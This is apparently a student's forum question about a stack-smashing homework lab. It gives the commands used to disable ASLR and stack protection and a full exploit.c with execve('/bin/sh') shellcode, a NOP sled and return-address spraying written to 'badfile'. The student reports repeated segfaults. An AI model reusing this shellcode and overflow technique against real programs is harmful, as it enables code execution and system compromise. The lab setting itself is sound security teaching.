I have a homework assignment to do stack smashing,
The exploit code creates a badfile in which the vulnerable file reads and buffer over flow occurs.
I have already did the 2 commands below to ensure I can complete the attack
sudo sysctl -w kernel.randomize_va_space=0
gcc -o stack -fno-stack-protector stack.c (where stack.c is the vulnerable code)
I disabled the non executable stack as well
For the exploit, I have the shellcode, so what I did is to get the stack pointer hence the return address and push them into a buffer in the exploit code. The buffer is filled up with NOPs to the half of the buffer, then the shell code. The rest of the buffer is filled up with the return addresses.
so my code is as below
/* exploit.c
*/
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax*/
"\x50" /* pushl %eax*/
"\x68""//sh" /* pushl $0x68732f2f*/
"\x68""/bin" /* pushl $0x6e69622f*/
"\x89\xe3" /* movl %esp,%ebx*/
"\x50" /* pushl %eax*/
"\x53" /* pushl %ebx*/
"\x89\xe1" /* movl %esp,%ecx*/
"\x99" /* cdql*/
"\xb0\x0b" /* movb $0x0b,%al*/
"\xcd\x80" /* int $0x80*/
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
long *addr_ptr,retaddr;
char *ptr;
char *aptr;
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
retaddr = get_sp() - atoi(argv[1]);
printf("Stack Pointer: 0x%lx\n", get_sp());
printf("Using address: 0x%lx\n", retaddr);
//int i;
memcpy(buffer+(sizeof(buffer)-1)/2,shellcode,strlen(shellcode));
int i;
for(i=0;i<(sizeof(buffer)-1)/2;i+=4)
*(long *)&buffer[i] = retaddr;
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
So for the offset I will input random numbers to try the offset, to get to the correct address. However I keep getting segmentation faults after iterating a lot of times. I have no idea what is going on. Anyone can help?